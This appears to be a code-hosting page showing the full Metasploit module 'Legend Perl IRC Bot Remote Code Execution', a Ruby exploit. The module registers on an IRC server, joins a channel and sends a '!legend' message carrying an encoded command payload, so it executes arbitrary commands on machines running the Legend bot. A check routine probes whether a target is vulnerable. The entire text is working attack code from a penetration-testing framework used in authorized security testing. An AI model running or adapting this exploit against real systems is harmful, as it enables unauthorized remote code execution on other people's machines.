Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/multi/misc/legend_bot_exec.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(update_info(info,12'Name' => 'Legend Perl IRC Bot Remote Code Execution',13'Description' => %q{14This module exploits a remote command execution on the Legend Perl IRC Bot.15This bot has been used as a payload in the Shellshock spam last October 2014.16This particular bot has functionalities like NMAP scanning, TCP, HTTP, SQL, and17UDP flooding, the ability to remove system logs, and ability to gain root, and18VNC scanning.1920Kevin Stevens, a Senior Threat Researcher at Damballa, has uploaded this script21to VirusTotal with a md5 of 11a9f1589472efa719827079c3d13f76.22},23'Author' =>24[25'Jay Turla' # msf and initial discovery26#MalwareMustDie27],28'License' => MSF_LICENSE,29'References' =>30[31[ 'OSVDB', '121681' ],32[ 'EDB', '36836' ],33[ 'URL', 'https://www.damballa.com/perlbotnado/' ],34[ 'URL', 'http://www.csoonline.com/article/2839054/vulnerabilities/report-criminals-use-shellshock-against-mail-servers-to-build-botnet.html' ] # Shellshock spam October 2014 details35],36'Platform' => %w{ unix win },37'Arch' => ARCH_CMD,38'Payload' =>39{40'Space' => 300, # According to RFC 2812, the max length message is 512, including the cr-lf41'DisableNops' => true,42'Compat' =>43{44'PayloadType' => 'cmd'45}46},47'Targets' =>48[49[ 'Legend IRC Bot', { } ]50],51'Privileged' => false,52'DisclosureDate' => '2015-04-27',53'DefaultTarget' => 0))5455register_options(56[57Opt::RPORT(6667),58OptString.new('IRC_PASSWORD', [false, 'IRC Connection Password', '']),59OptString.new('NICK', [true, 'IRC Nickname', 'msf_user']),60OptString.new('CHANNEL', [true, 'IRC Channel', '#channel'])61])62end6364def post_auth?65true66end6768def check69connect7071res = register(sock)72if res =~ /463/ || res =~ /464/73vprint_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed")74return Exploit::CheckCode::Unknown75end7677res = join(sock)78if !res =~ /353/ && !res =~ /366/79vprint_error("#{rhost}:#{rport} - Error joining the #{datastore['CHANNEL']} channel")80return Exploit::CheckCode::Unknown81end8283quit(sock)84disconnect8586if res =~ /auth/ && res =~ /logged in/87Exploit::CheckCode::Vulnerable88else89Exploit::CheckCode::Safe90end91end9293def send_msg(sock, data)94sock.put(data)95data = ""96begin97read_data = sock.get_once(-1, 1)98while !read_data.nil?99data << read_data100read_data = sock.get_once(-1, 1)101end102rescue ::EOFError, ::Timeout::Error, ::Errno::ETIMEDOUT => e103elog(e)104end105106data107end108109def register(sock)110msg = ""111112if datastore['IRC_PASSWORD'] && !datastore['IRC_PASSWORD'].empty?113msg << "PASS #{datastore['IRC_PASSWORD']}\r\n"114end115116if datastore['NICK'].length > 9117nick = rand_text_alpha(9)118print_error("The nick is longer than 9 characters, using #{nick}")119else120nick = datastore['NICK']121end122123msg << "NICK #{nick}\r\n"124msg << "USER #{nick} #{Rex::Socket.source_address(rhost)} #{rhost} :#{nick}\r\n"125126send_msg(sock,msg)127end128129def join(sock)130join_msg = "JOIN #{datastore['CHANNEL']}\r\n"131send_msg(sock, join_msg)132end133134def legend_command(sock)135encoded = payload.encoded136command_msg = "PRIVMSG #{datastore['CHANNEL']} :!legend #{encoded}\r\n"137send_msg(sock, command_msg)138end139140def quit(sock)141quit_msg = "QUIT :bye bye\r\n"142sock.put(quit_msg)143end144145def exploit146connect147148print_status("#{rhost}:#{rport} - Registering with the IRC Server...")149res = register(sock)150if res =~ /463/ || res =~ /464/151print_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed")152return153end154155print_status("#{rhost}:#{rport} - Joining the #{datastore['CHANNEL']} channel...")156res = join(sock)157if !res =~ /353/ && !res =~ /366/158print_error("#{rhost}:#{rport} - Error joining the #{datastore['CHANNEL']} channel")159return160end161162print_status("#{rhost}:#{rport} - Exploiting the malicious IRC bot...")163legend_command(sock)164165quit(sock)166disconnect167end168end169170171